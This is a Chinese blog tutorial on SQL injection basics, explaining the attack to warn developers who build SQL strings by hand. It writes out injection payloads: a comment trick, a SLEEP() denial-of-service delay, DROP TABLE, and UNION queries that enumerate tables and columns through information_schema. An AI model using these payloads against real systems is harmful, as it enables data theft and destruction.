sql注入基本原理
SQL注入基本原理
WEB技术发展日新月异,但是徒手拼SQL的传统手艺还是受相当多的开发者亲睐。毕竟相比于再去学习一套复杂的ORM规则,手拼更说方便,直观。通常自己拼SQL的人,应该是有听说过SQL注入很危险,但是总是心想:我的SQL语句这么简单,不可能被注入的。
花5分钟看完这个完整的例子,从今往后应该再也不敢有以上侥幸心理了。
简单场景
有一个WEB界面提供输入商品名称,展示对应价格,生产日期及生产地信息。例如输入Hammer展示:
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
我们跳过了搭建Web搜索界面的过程,直接关注重点部分: SQL注入。
如果要实现以上功能,那么我们大致可以猜到服务器使用的SQL语句如下:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
其中?表示目前我们并不知道具体的表名和字段名,此SQL唯一可以被操纵的就是单引号里面的输入内容'%Hammer%。假如我们直接在查找框里输入一个单引号。即变成
select ? from ? where ? Like '%'%';
这样拼接后造成SQL语法错误,得不到任何结果,我们需要使用--来把最后一个单引号注释掉。
select ? from ? where ? Like '%'; -- %';
--后的是注释内容(你也可以用#),这样你可以得到所有的产品信息,目前为止,还是没有嗅到危险的信号。
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| Paring Knife | 10.98 | China | 2019.11.11 |
| Boning Knife | 19.98 | China | 2019.01.01 |
小试牛刀and
紧紧抓住上一步中可以扩展的单引号部分。来一个简单的延时语句试一试:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
这时查询会2秒后才返回结果,如果把时间延长,用脚本多点几次查询,一下就能把数据库的连接池用完。
当然,还有破坏力更强的!
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
可以直接把表/数据库直接删除掉,至于如何知道引数据库中有哪一些表(即如何确定上句SQL中的xxxx)呢?
为所欲为union
我们需要知道此数据库有哪一些表!这样才能能拿到有用的信息。
使用union可以把不同表的内容拼在一起,小试一下:
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| 1 | 2 | 3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| authors | hawkeye | 3 | 4 |
| products | hawkeye | 3 | 4 |
| user | hawkeye | 3 | 4 |
| .... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
| 产品 | 价格 | 生产地 | 生产日期 |
|---|---|---|---|
| Claw Hammer | 12.98 | American | 2019.11.07 |
| Club Hammer | 29.98 | Canada | 2019.11.11 |
| id | hawkeye | 3 | 4 |
| name | hawkeye | 3 | 4 |
| price | hawkeye | 3 | 4 |
| address | hawkeye | 3 | 4 |
| updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
sql注入基本原理的更多相关文章
- 从orderby引发的SQL注入问题的思考
背景: 某一天准备上线,合完master之后准备发布了,忽然公司的代码安全监测提示了可能在代码中存在sql注入的风险,遂即检查,发现sql注入问题 既然碰到了这个问题,那就了简单了解下sql注入 基础 ...
- php中防止SQL注入的方法
[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...
- 在php中防止SQL注入的方法
摘要:我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全.整个PH ...
- 转:PHP中防止SQL注入的方法
[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...
- SQL 注入
我们的团队项目中有课程名称输入框,其中的内容会拼接到类sql查询语句中. 所以可能会产生类sql注入的问题,我们团队采用了利用正则表达式判断输入内容的形式来规避这类注入. 下面简单介绍一下sql注入 ...
- DEDECMS数据库执行原理、CMS代码层SQL注入防御思路
我们在上一篇文章中学习了DEDECMS的模板标签.模板解析原理,以及通过对模板核心类的Hook Patch来对模板的解析流量的攻击模式检测,达到修复模板类代码执行漏洞的目的 http://www.cn ...
- SQL注入原理小结
今天,一基友问我一个问题说:为什么SQL注入要加单引号,这个当时我一时也回答不上,怪就怪自己理论太菜,不过回去仔细思考了一下,觉得这个问题也是蛮简单的. 首先大家应该明白的一点就是SQL注入的目的:加 ...
- php防sql注入
[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我 们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们 ...
- php防止sql注入
[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...
随机推荐
- 提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享
先罗列出sql server 角色用户的权限 按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:1.bulkadmin:这个角色可以运行BULK INSERT语 ...
- Java匹马行天下之新手学习目录
Java匹马行天下之新手学习目录 学习路线 [Java匹马行天下——Java学习路线] [Java匹马行天下——开篇学习计划] 基础篇 [Java匹马行天下之学编程的起点——编程常识知多少] [Jav ...
- 【朝花夕拾】跨进程通信,你只知道AIDL,就OUT了
一.前言 提起跨进程通信,大多数人首先会想到AIDL.我们知道,用AIDL来实现跨进程通信,需要在客户端和服务端都添加上aidl文件,并在服务端的Service中实现aidl对应的接口.如果还需要服务 ...
- Unity系统消息广播
# 1.前言Unity自带消息系统,如SendMessage等,此方法利用的反射,且会反射游戏物体上的所有组件,对性能不友好.而且由于参数为方法名称,所以如果使用代码混淆,则会无法调用 方法,且难以追 ...
- css简介以及css的添加方法
什么是css? CSS是Cascading Style Sheets的简称,CSS是用来美化网页中文称为层叠样式表,用来控制网页数据的表现,可以使网页的表现与数据内容分离. css的基本语法 1.选择 ...
- python实现人工智能Ai抠图功能
这篇文章主要介绍了python实现人工智能Ai抠图功能,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下 自己是个PS小白,没办法只能通过技术来证明自己. 话不多说, ...
- MySQL数据库的安装与配置(windows)
MySQL是目前最为流行的开放源码的数据库,是完全网络化的跨平台的关系型数据库系统,它是由瑞典MySQLAB公司开发,目前属于Oracle公司.任何人都能从Internet下载MySQL软件,而无需支 ...
- 通过Value获取Map中的键值Key的四种方法
1 简介 我们都知道Map是存放键值对<Key,Value>的容器,知道了Key值,使用方法Map.get(key)能快速获取Value值.然而,有的时候我们需要反过来获取,知道Value ...
- 使用position设置经典的网站前端结构
能脱离文档流的设置: float:left/right position:absolute; 绝对定位 position:fixed; 固定定位 //搞清楚position的属性值的意思就容易明白 使 ...
- Codeforces 1183F - Topforces Strikes Back
Div. 3的题,竟然卡了好久,自闭.jpg 好像我的思路不太一样呢QAQ 首先注意到,如果一个数是另一个的因子,那它肯定不会出现在答案中. 我们先把所有数排序,然后对每个数,我们要往前再找两个数(或 ...